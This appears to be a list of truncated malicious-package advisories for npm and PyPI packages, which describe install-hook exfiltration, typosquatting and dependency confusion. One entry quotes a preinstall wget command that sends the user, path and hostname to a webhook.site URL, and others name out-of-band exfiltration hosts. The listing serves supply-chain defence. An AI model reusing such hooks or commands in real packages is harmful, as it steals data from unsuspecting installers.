Malicious code in @rutxploit-sec/waves-button-poc (npm)

Source: amazon-inspector 435937e521ca52ff4d99fd276136aff40364c4a88a3a4677cecf390c9d9bb600 @rutxploit-sec/[email protected] auto-executes host-identifier exfiltration on both npm install and require. package.json declares a preinstall script that runs node -e code which reads os.hostname and...

MAL-2026-17290 Malicious code in @rutxploit-sec/waves-button-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 435937e521ca52ff4d99fd276136aff40364c4a88a3a4677cecf390c9d9bb600 @rutxploit-sec/[email protected] auto-executes host-identifier exfiltration on both npm install and require. package.json declares a preinstall...

Malicious code in bnppf-flag-icons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 689227d0fdfe4abc108c7dfc5b5b97e752182a410265c141ca33161247619e78 The package ships poc.js and wires it to both preinstall and postinstall lifecycle hooks in package.json, so it runs automatically on npm install...

Malicious code in react-dom-helpers (npm)

Source: amazon-inspector 2fae606be0dbd7c79552511c2553ec9e1d081df1279f0bc85502a6c08c0f17fb Package name typosquats react-dom. On require'react-dom-helpers/client', client.js decodes a base64-obfuscated Slack bot token and channel ID, enumerates local IPv4 addresses via os.networkInterfaces, fetche...

Malicious code in ignite-market-contractstest (npm)

Source: amazon-inspector b9babd9b088785649368dbf885050b6a15b218a6b38d2dcd058f0c9eda5109da package.json declares a preinstall lifecycle hook that runs wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$whoami&path=$pwd&hostname=$hostname". On every npm install, this...

Malicious code in @asavie/i18n (npm)

Source: amazon-inspector d803002ee95ea92bdcb3a918e1be10930816db383ce2a58a6947afea84e04040 @asavie/[email protected] is a dependency-confusion package targeting an unclaimed npm scope. Its package.json declares a preinstall hook that runs node callback.js, which on npm install reads os.hostname and the...

Malicious code in @orion-design-system/store (npm)

Source: amazon-inspector 4218505b74ba258cea12df713bbc27db9fa58d6660cf83e6d0c5fd8a9f68a4c2 package.json declares a preinstall script that runs on every npm install. The script uses node -e to require os and https, reads os.hostname and os.userInfo.username, and exfiltrates them to...

Malicious code in mcp-server-github (npm)

Source: amazon-inspector 156761c4bd0e22759f082d7c030c241be12301dced1e58943c17aaacf9fe0958 Package squats the unscoped name mcp-server-github to intercept installs intended for the official @modelcontextprotocol/server-github. package.json declares "postinstall": "node index.js", so on every npm...

Malicious code in @onum-releases/auth (npm)

Source: amazon-inspector 22d4bde1772d506f812e112fb8d6bfbf6a6f187dd823640f2cf15811f0d0633a On require'@onum-releases/auth', index.js reads os.hostname and issues an HTTP GET to auth..200majoeu01dk02xnjdajro1isojc90y.oastify.com, transmitting the installer's host identifier to a Burp Collaborator...

Malicious code in vuln-package (npm)

Source: amazon-inspector a8bd105bf3b12062f312b41f2a1eead5e8481f8d3749fc78bc79ed8675c11394 On npm install, the package's preinstall script triggers a DNS lookup to a unique subdomain of oast.fun fabekzbnjtufpffkzzmvjvi5eafhny3ok.oast.fun, an out-of-band interaction service, confirming code executi...

Malicious code in captcha-solve-api (PyPI)

Source: amazon-inspector ee854f4888e58f81b9e22e7addd740d28a717be453133c10267dd91fc5e50cee The package advertises itself as a REST client for a captcha-solving API, but the shipped captchasolveapi module is a 20-line stub. The tarball's real payload is two top-level modules telemetryinit,...